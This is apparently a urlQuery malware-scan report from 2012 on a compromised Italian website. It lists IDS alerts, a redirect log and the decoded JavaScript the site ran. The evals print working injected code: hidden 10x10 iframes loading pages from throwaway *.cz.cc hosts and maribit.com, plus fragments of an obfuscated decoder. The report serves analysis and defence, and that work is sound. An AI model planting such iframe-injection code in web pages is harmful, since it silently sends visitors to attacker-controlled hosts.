Overview

URLhttp://www.burdissomauro.com/
IP62.149.140.77
ASNAS31034 Aruba S.p.A.
Location Italy
Report completed2012-11-08 02:51:03 CET
StatusLoading report..
urlQuery Alerts Detected malicious iframe injection


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-08 02:50:31 urlQuery Client 82.208.40.42ET CURRENT_EVENTS HTTP Request to a *.cz.cc domain
2012-11-08 02:50:31 urlQuery Client 82.208.40.42ET CURRENT_EVENTS HTTP Request to a *.cz.cc domain
2012-11-08 02:50:31 urlQuery Client 82.208.40.42ET CURRENT_EVENTS HTTP Request to a *.cz.cc domain
2012-11-08 02:50:31 urlQuery Client 82.208.40.42ET CURRENT_EVENTS HTTP Request to a *.cz.cc domain
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-08 02:50:31 62.149.140.77 urlQuery Client3http_inspect: JAVASCRIPT WHITESPACES EXCEEDS MAX ALLOWED
2012-11-08 02:50:34 62.149.140.77 urlQuery Client3http_inspect: JAVASCRIPT WHITESPACES EXCEEDS MAX ALLOWED


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 62.149.140.77

Date Alerts / IDS URL IP
2013-01-01 20:20:110 / 2http://www.avenviaggi.it/redirect.htm62.149.140.77
2012-12-29 01:21:200 / 2http://www.avenviaggi.it/redirect.htm62.149.140.77
2012-12-03 18:36:330 / 1http://www.burdissomauro.com/generale/bevenuti_alcune_info.html62.149.140.77
2012-11-30 02:34:512 / 4http://www.burdissomauro.com/giardino-e-orto/2007/01/62.149.140.77
2012-11-29 17:37:102 / 7http://www.burdissomauro.com/giardinaggio/62.149.140.77
2012-11-29 17:31:592 / 5http://www.burdissomauro.com/giardino-e-orto/2006/12/62.149.140.77

Last 6 reports on ASN: AS31034 Aruba S.p.A.

Date Alerts / IDS URL IP
2013-02-16 13:55:300 / 2http://www.casaplazzi.com/62.149.130.42
2013-02-16 13:53:580 / 0http://www.casaolimpia.it/sicily_holiday_inn_taormina_hotel_etna_eruption_bed_and_breakfast/a_c (...)62.149.140.159
2013-02-16 13:53:070 / 0http://www.casanovaballs.com/62.149.130.41
2013-02-16 13:51:530 / 0http://www.casamustazza.com/62.149.130.79
2013-02-16 13:50:240 / 0http://www.leonicomputing.com/casamiaweb.html62.149.130.213
2013-02-16 13:49:570 / 0http://www.casamenorca.com/62.149.140.127

Last 6 reports on domain: www.burdissomauro.com

Date Alerts / IDS URL IP
2012-12-03 18:36:330 / 1http://www.burdissomauro.com/generale/bevenuti_alcune_info.html62.149.140.77
2012-11-30 02:34:512 / 4http://www.burdissomauro.com/giardino-e-orto/2007/01/62.149.140.77
2012-11-29 17:37:102 / 7http://www.burdissomauro.com/giardinaggio/62.149.140.77
2012-11-29 17:31:592 / 5http://www.burdissomauro.com/giardino-e-orto/2006/12/62.149.140.77
2012-11-24 07:29:582 / 1http://www.burdissomauro.com/mt-static/plugins/FacebookCommenters/xd_receiver.html62.149.140.77
2012-11-23 09:44:222 / 6http://www.burdissomauro.com/mt-static/plugins/FacebookCommenters/xd_receiver.html62.149.140.77



JavaScript

Executed Scripts (21)


Executed Evals (11)

#1 JavaScript::Eval (size: 567, repeated: 1) 

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://cukhllpb.cz.cc/count16.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://cukhllpb.cz.cc/count16.php');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

#2 JavaScript::Eval (size: 567, repeated: 1) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://gvcpasno.cz.cc/count15.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://gvcpasno.cz.cc/count15.php');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

#3 JavaScript::Eval (size: 567, repeated: 1) 

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://khkxdiat.cz.cc/count23.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://khkxdiat.cz.cc/count23.php');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

#4 JavaScript::Eval (size: 567, repeated: 1) 

  if (document.getElementsByTagName('body')[0]) {
      iframer();
  } else {
      document.write("<iframe src='http://ziejpzrv.cz.cc/count24.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  }
  function iframer() {
      var f = document.createElement('iframe');
      f.setAttribute('src', 'http://ziejpzrv.cz.cc/count24.php');
      f.style.visibility = 'hidden';
      f.style.position = 'absolute';
      f.style.left = '0';
      f.style.top = '0';
      f.setAttribute('width', '10');
      f.setAttribute('height', '10');
      document.getElementsByTagName('body')[0].appendChild(f);
  }

#5 JavaScript::Eval (size: 670, repeated: 2) 

13, 41.5, 26, 55, 12.5, 32.5, 28, 10, 10.5, 41.5, 17.5, 6.5, 26.5, 22.5, 10.5, 9.5, 23.5, 42, 25, 11, 43.5, 42, 43, 11, 2.5, 52.5, 9.5, 27, 15, 15, 12.5, 36.5, 47.5, 19, 7.5, 9, 33, 15, 2.5, 47, 24.5, 48.5, 24.5, 3.5, 30, 35.5, 40.5, 19, 44.5, 49.5, 46, 29.5, 20, 9, 13.5, 16, 24, 34.5, 40, 17.5, 7.5, 32.5, 38.5, 11, 13.5, 48, 9, 8.5, 20, 3, 53.5, 22, 38, 50, 18, 3, 4, 17, 21.5, 8.5, 5.5, 43.5, 54, 30.5, 4, 28.5, 15, 7, 12.5, 24.5, 5, 37, 14, 23.5, 3.5, 42, 18, 27, 48, 12.5, 18, 39.5, 46, 31.5, 28, 9.5, 7.5, 6.5, 10.5, 26, 46, 5, 12.5, 7.5, 5, 55, 4.5, 40, 3.5, 4.5, 37, 45.5, 21.5, 8.5, 10, 16, 14.5, 21.5, 33.5, 54.5, 5.5, 24.5, 4, 33.5, 19.5, 19.5, 20, 14, 4.5, 5, 6, 12.5, 25.5, 38, 15.5, 11, 7, 32, 17.5, 16, 2, 8.5, 19.5, 12, 41.5, 38, 4, 49, 22, 4, 13, 6, 30.5, 12, 8, 34, 27.5, 20, 14, 8.5, 15, 47, 7.5, 3, 18, 50.5, 22, 16, 10, 8, 5, 11l

#6 JavaScript::Eval (size: 5, repeated: 2) 

asdas

#7 JavaScript::Eval (size: 91, repeated: 1) 

document.write("<iframe src='http://maribit.com/count11.php' height=0 width=0></iframe>");

#8 JavaScript::Eval (size: 4, repeated: 1) 

eval

#9 JavaScript::Eval (size: 4, repeated: 1134) 

n[i]

#10 JavaScript::Eval (size: 46, repeated: 567) 

pos = parseInt(k.replace("eva", "0asd")) + ar2[i] / 4

#11 JavaScript::Eval (size: 19, repeated: 567) 

s += ar.substr(pos, 1)

Executed Writes (5)

#1 JavaScript::Write (size: 24, repeated: 1) 

<div id='MIX_ADS'></div>

#2 JavaScript::Write (size: 71, repeated: 1) 

<iframe src='http://maribit.com/count11.php' height=0 width=0></iframe>

#3 JavaScript::Write (size: 68, repeated: 1) 

<img src="/img.php?maribit509b0fe778c217.48376290" width=1 height=1>

#4 JavaScript::Write (size: 100, repeated: 1) 

<img src="/track.php?uid=maribit509b0fe778c217.48376290&d=maribit.com&sr=1176x885" width=1 height=1>

#5 JavaScript::Write (size: 381, repeated: 1) 

<script src="http://googleads.g.doubleclick.net/apps/domainpark/domainpark.cgi?api=2&callback=_google_json_callback&output=js&adtest=off&client=dp-nameadmin22_3ph_js&channel=000106&hl=en&num_ads=0&num_radlinks=10&optimize_terms=on&categories=off&feed=afs&domain_name=maribit.com&dt=1352339435428&u_tz=60&u_his=2&u_h=885&u_w=1176&frm=1&ref=http%3A%2F%2Fmaribit.com%2F%3Ff"></script>


HTTP Transactions (28)


Request Response 
GET / HTTP/1.1

Host: www.burdissomauro.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 500 Internal Server Error

Content-Type: text/html; charset=utf-8

Date: Thu, 08 Nov 2012 01:50:30 GMT
Server: Apache/2.2
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Thu, 08 Nov 2012 01:50:30 GMT
Connection: close
Transfer-Encoding: chunked
GET /count11.php HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.burdissomauro.com/
 
HTTP/1.1 302 Found

Content-Type: text/html

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Location: http://maribit.com/?f
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Connection: close
Set-Cookie: WEBUK=WUK07; path=/
GET /count24.php HTTP/1.1

Host: ziejpzrv.cz.cc

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.burdissomauro.com/
 
HTTP/1.1 302 Found

Content-Type: text/html; charset=UTF-8

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5
Location: http://uni.me/404.php
Content-Length: 0
Keep-Alive: timeout=1, max=1500
Connection: Keep-Alive
GET /count16.php HTTP/1.1

Host: cukhllpb.cz.cc

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.burdissomauro.com/
 
HTTP/1.1 302 Found

Content-Type: text/html; charset=UTF-8

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5
Location: http://uni.me/404.php
Content-Length: 0
Keep-Alive: timeout=1, max=1500
Connection: Keep-Alive
GET /count15.php HTTP/1.1

Host: gvcpasno.cz.cc

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.burdissomauro.com/
 
HTTP/1.1 302 Found

Content-Type: text/html; charset=UTF-8

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5
Location: http://uni.me/404.php
Content-Length: 0
Keep-Alive: timeout=1, max=1500
Connection: Keep-Alive
GET /count23.php HTTP/1.1

Host: khkxdiat.cz.cc

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.burdissomauro.com/
 
HTTP/1.1 302 Found

Content-Type: text/html; charset=UTF-8

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.17 (Linux/SUSE)
X-Powered-By: PHP/5.3.5
Location: http://uni.me/404.php
Content-Length: 0
Keep-Alive: timeout=1, max=1500
Connection: Keep-Alive
GET /?f HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.burdissomauro.com/
Cookie: WEBUK=WUK07
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Set-Cookie: uid=maribit509b0fe778c217.48376290; expires=Sat, 08-Dec-2012 01:50:31 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 555
Connection: close
GET /?redir=frame&uid=maribit509b0fe778c217.48376290 HTTP/1.1

Host: maribit.com
GET /?redir=frame&amp;uid=maribit509b0fe778c217.48376290 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/?f
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Set-Cookie: uid=maribit509b0fe778c217.48376290; expires=Sat, 08-Dec-2012 01:50:31 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 493
Connection: close
GET /return_js.php?d=maribit.com&s=1352339431 HTTP/1.1

Host: return.uk.domainnamesales.com
GET /return_js.php?d=maribit.com&amp;s=1352339431 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/?redir=frame&amp;uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;IDC DSP COR NID&quot;
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 51
Connection: close
Set-Cookie: WEBUK=WUK08; path=/
GET /search.php?uid=maribit509b0fe778c217.48376290 HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/?redir=frame&amp;uid=maribit509b0fe778c217.48376290
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Thu, 08 Nov 2012 01:50:31 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4040
Connection: close
GET /tg.php?uid=maribit509b0fe778c217.48376290 HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/?redir=frame&amp;uid=maribit509b0fe778c217.48376290
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Thu, 08 Nov 2012 01:50:32 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 267
Connection: close
GET /page.php?maribit509b0fe778c217.48376290 HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/?redir=frame&amp;uid=maribit509b0fe778c217.48376290
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Thu, 08 Nov 2012 01:50:32 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 162
Connection: close
GET /track.php?uid=maribit509b0fe778c217.48376290&d=maribit.com&sr=1176x885 HTTP/1.1

Host: maribit.com
GET /track.php?uid=maribit509b0fe778c217.48376290&amp;d=maribit.com&amp;sr=1176x885 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/tg.php?uid=maribit509b0fe778c217.48376290
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 01:50:32 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Content-Length: 43
Connection: close
GET /js/google_lander2.js?20120806 HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Thu, 08 Nov 2012 01:50:32 GMT
Server: Apache/2.2.20 (Ubuntu)
Last-Modified: Fri, 02 Nov 2012 19:54:58 GMT
Etag: &quot;36e0268-4c09-4cd8882a5e880&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4853
Connection: close
GET /img.php?maribit509b0fe778c217.48376290 HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/page.php?maribit509b0fe778c217.48376290
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Thu, 08 Nov 2012 01:50:32 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Content-Length: 43
Connection: close
GET /ajax/libs/jquery/1.5.2/jquery.min.js HTTP/1.1

Host: ajax.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT
Date: Wed, 07 Nov 2012 20:35:03 GMT
Expires: Thu, 07 Nov 2013 20:35:03 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 29947
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 18929
GET /apps/domainpark/show_afd_ads.js HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Wed, 31 Oct 2012 23:10:23 GMT
Date: Wed, 07 Nov 2012 20:35:13 GMT
Expires: Thu, 08 Nov 2012 20:35:13 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Server: domainserver
X-XSS-Protection: 1; mode=block
Content-Encoding: gzip
Cache-Control: public, max-age=86400
Content-Length: 1932
Age: 18919
GET /favicon.ico HTTP/1.1

Host: www.burdissomauro.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 500 Internal Server Error

Content-Type: text/html; charset=utf-8

Date: Thu, 08 Nov 2012 01:50:33 GMT
Server: Apache/2.2
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Thu, 08 Nov 2012 01:50:34 GMT
Connection: close
Transfer-Encoding: chunked
GET /js/jquery.tools.custom.min.js HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Server: nginx/0.8.54
Date: Thu, 08 Nov 2012 01:48:01 GMT
Content-Length: 9659
Last-Modified: Fri, 02 Dec 2011 01:21:23 GMT
Connection: close
Accept-Ranges: bytes
GET /apps/domainpark/domainpark.cgi?api=2&callback=_google_json_callback&output=js&adtest=off&client=dp-nameadmin22_3ph_js&channel=000106&hl=en&num_ads=0&num_radlinks=10&optimize_terms=on&categories=off&feed=afs&domain_name=maribit.com&dt=1352339435428&u_tz=60&u_his=2&u_h=885&u_w=1176&frm=1&ref=http%3A%2F%2Fmaribit.com%2F%3Ff HTTP/1.1

Host: googleads.g.doubleclick.net
GET /apps/domainpark/domainpark.cgi?api=2&amp;callback=_google_json_callback&amp;output=js&amp;adtest=off&amp;client=dp-nameadmin22_3ph_js&amp;channel=000106&amp;hl=en&amp;num_ads=0&amp;num_radlinks=10&amp;optimize_terms=on&amp;categories=off&amp;feed=afs&amp;domain_name=maribit.com&amp;dt=1352339435428&amp;u_tz=60&amp;u_his=2&amp;u_h=885&amp;u_w=1176&amp;frm=1&amp;ref=http%3A%2F%2Fmaribit.com%2F%3Ff HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
Cookie: id=223ae1776901005b||t=1350343758|et=730|cs=002213fd480aa30e9cef2f5d42
 
HTTP/1.1 200 OK

Content-Type: application/javascript; charset=UTF-8

Content-Disposition: inline
P3P: policyref=&quot;http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml&quot;, CP=&quot;CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&quot;
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Date: Thu, 08 Nov 2012 01:50:35 GMT
Server: domainserver
Cache-Control: private
Content-Length: 65
X-XSS-Protection: 1; mode=block
POST /logpstatus.php HTTP/1.1

Host: maribit.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
Content-Length: 61
Cookie: WEBUK=WUK07; uid=maribit509b0fe778c217.48376290
Pragma: no-cache
Cache-Control: no-cache
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Thu, 08 Nov 2012 01:50:35 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Connection: close
GET /images/rs_center_right_70.gif HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://maribit.com/search.php?uid=maribit509b0fe778c217.48376290
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/0.8.54
Date: Thu, 08 Nov 2012 01:48:02 GMT
Content-Length: 7448
Last-Modified: Thu, 05 Jan 2012 01:17:06 GMT
Connection: close
Accept-Ranges: bytes
GET /images/rs_center_left_70.gif HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
